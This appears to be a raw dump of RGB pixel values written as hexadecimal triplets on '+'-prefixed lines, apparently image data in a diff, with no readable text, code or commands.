+0000000000000000000000000000000000000000000000000000000000000000002F2F2F5A5A5A +F6F6F6323232616161F1F1F1313131303030070707000000000000000000000000000000000000 +0000000000000000000000003E3E3EFFFFFF525252000000000000000000040404000000000000 +CCCCCC9696960000000000000B0B0BF4F4F4A0A0A0000000000000000000000000000000000000 +000000000000000000000000000000FFFFFF7C7C7C000000000000262626F9F9F97D7D7D000000 +000000C2C2C2A3A3A3000000000000000000000000000000000000000000000000000000000000 +000000000000DFDFDF7D7D7D000000000000444444FFFFFF2020200000007A7A7AF8F8F8292929 +000000000000000000000000CACACA8C8C8C000000000000000000000000000000BBBBBBC9C9C9 +000000000000000000C4C4C4C2C2C20000000000009C9C9CFEFEFE1D1D1D000000000000A6A6A6 +D2D2D2000000000000000000B3B3B3B1B1B1000000000000000000000000000000010101F6F6F6 +6161610000000000000C0C0CF0F0F0C0C0C0000000000000000000000000CACACA8C8C8C000000 +000000000000000000000000000000000000CACACA8C8C8C000000000000000000000000010101 +F6F6F66161610000000000000C0C0CF0F0F0C0C0C00000000000003E3E3EFFFFFF525252000000 +000000000000040404000000000000444444FFFFFF2020200000007A7A7AF8F8F8292929000000 +000000000000000000000000000000000000DFDFDF7D7D7D000000000000000000B3B3B3B1B1B1 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000000000 +D22424EF2929430C0C000000000000000000000000000000671212EF2929EF2929E02626EF2929 +EF29296F1313000000000000671212EF2929EF2929E02626EF2929EF29296F1313000000000000 +000000000000D32424EF2929DA2525B820209D1B1B000000590F0FEF29293E0B0B0000000D0202 +3108080F0303390A0A1D0505000000AC1E1EEF2929651111000000601010EF2929D12424070101 +0F0303DE2626EF2929941919671212D62525EF2929EF29291A0505000000000000000000CA2323 +EF2929E12727B92020B82020030000000000AE1E1EB82020C72222EF2929E82828B82020B82020 +6111110000000000000000006C6C6CFFFFFF6C6C6C000000000000000000000000000000000000 +000000000000000000000000000000000000000000747474B8B8B80000007C7C7CB0B0B0000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +B6B6B6F2F2F27474744747476D6D6DAAAAAA0000000000005F5F5FF2F2F2444444121212979797 +FEFEFEA0A0A0000000000000000000000000000000000000000000000000000000000000000000 +FFFFFFA3A3A35252527C7C7CE8E8E8D7D7D70C0C0C0000000000003F3F3FFAFAFA9D9D9D4E4E4E +4E4E4E808080B2B2B20000000000006767679D9D9D5555554040408A8A8AFEFEFE3B3B3B000000 +000000444444FFFFFF202020000000040404CECECEC8C8C80303030000000000000000009F9F9F +DFDFDF4040402828281616160000000000004C4C4CFFFFFF9999994A4A4A959595FFFFFF535353 +0000000000009C9C9CF6F6F6C7C7C74F4F4F7C7C7CFDFDFD656565000000000000252525FEFEFE +3F3F3F000000000000000000000000000000000000B3B3B3C7C7C7181818191919ABABABF3F3F3 +C0C0C00000000000000000000000009F9F9FDFDFDF404040282828161616000000000000000000 +0000009F9F9FDFDFDF404040282828161616000000000000B3B3B3C7C7C7181818191919ABABAB +F3F3F3C0C0C0000000000000000000B6B6B6F2F2F27474744747476D6D6DAAAAAA000000000000 +444444FFFFFF202020000000040404CECECEC8C8C80303030000006767679D9D9D555555404040 +8A8A8AFEFEFE3B3B3B000000000000252525FEFEFE3F3F3F000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000000000D22424EF2929430C0C000000000000 +000000000000000000000000621111CD2323EA2828CE2323671212000000000000000000000000 +621111CD2323EA2828CE23236712120000000000000000000000000000003F0B0BC22121E82828 +EF2929CE2323000000070101CB2323D52424250606000000000000000000190404000000000000 +AC1E1EEF2929651111000000040101CA2323EF2929751414000000390A0ABD2020E72828D32424 +5D1010EF2929EF29291A05050000000000000000002B0707B92020E72828EF2929EF2929040101 +000000E52727EF2929EF2929EF2929EF2929EF2929EF29297F16160000000000000000006C6C6C +FFFFFF6C6C6C000000000000000000000000000000000000000000000000000000000000000000 +000000000000B9B9B9727272000000C1C1C16A6A6A000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000909098B8B8BE2E2E2F8F8F8D5D5D5 +6060600000000000000000007F7F7FEBEBEBF3F3F39D9D9DBDBDBDA0A0A0000000000000000000 +000000000000000000000000000000000000000000000000FFFFFFFFFFFFFAFAFADDDDDD8F8F8F +131313000000000000000000000000414141C2C2C2F6F6F6F0F0F0C3C3C3606060000000000000 +393939B8B8B8EAEAEAF6F6F6D1D1D1595959000000000000000000444444FFFFFF202020000000 +000000303030FBFBFB767676000000000000000000202020BCBCBCF2F2F2FFFFFF909090000000 +000000000000606060DADADAFAFAFADCDCDC6565650000000000000000009C9C9CC0C0C0848484 +F0F0F0ECECEC858585010101000000000000969696CDCDCD000000000000000000000000000000 +0000000000001A1A1AB3B3B3F3F3F3E8E8E88585859A9A9AC0C0C0000000000000000000000000 +202020BCBCBCF2F2F2FFFFFF909090000000000000000000000000202020BCBCBCF2F2F2FFFFFF +9090900000000000001A1A1AB3B3B3F3F3F3E8E8E88585859A9A9AC0C0C0000000000000000000 +0909098B8B8BE2E2E2F8F8F8D5D5D5606060000000000000444444FFFFFF202020000000000000 +303030FBFBFB767676000000393939B8B8B8EAEAEAF6F6F6D1D1D1595959000000000000000000 +969696CDCDCD000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000EDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000002A0707 +DB2626E828289F1B1B7F1616A21C1CE92828240606000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000009C9C9CC0C0C0000000000000000000000000000000000000 +121212F5F5F55C5C5C000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000121212F5F5F55C5C5C000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000160404891717D12424E92828D32424 +911919190404000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +9C9C9CC0C0C0000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDED000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000009C9C9CC0C0C0000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000EDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDED000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000430C0C +EF2929CE2323000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 